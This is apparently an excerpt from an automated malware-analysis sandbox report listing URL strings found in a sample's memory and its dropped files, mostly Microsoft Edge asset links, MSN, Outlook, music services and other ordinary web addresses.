Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.9.dr, ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr, ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.9.dr, ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr, ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr, ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr, ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log0.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.9.dr, 000003.log1.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log9.9.dr, 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376316926825460.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: JJKFBFIJJECGCAAAFCBGHDGCGC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: JJKFBFIJJECGCAAAFCBGHDGCGC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JJKFBFIJJECGCAAAFCBGHDGCGC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2592783551.0000000023A9C000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2592783551.0000000023A9C000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2267707121.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, IEHJJECB.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2353664224.0000000023A4E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2267707121.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, IEHJJECB.0.dr, Web Data.9.dr, DAAECAFH.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: ff3144ec-e9e8-448e-af7d-f010f1305e11.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: ae76c770-7bd6-47b5-99ae-1d405f1b5ce5.tmp.9.dr	String found in binary or memory: https://www.last.fm/
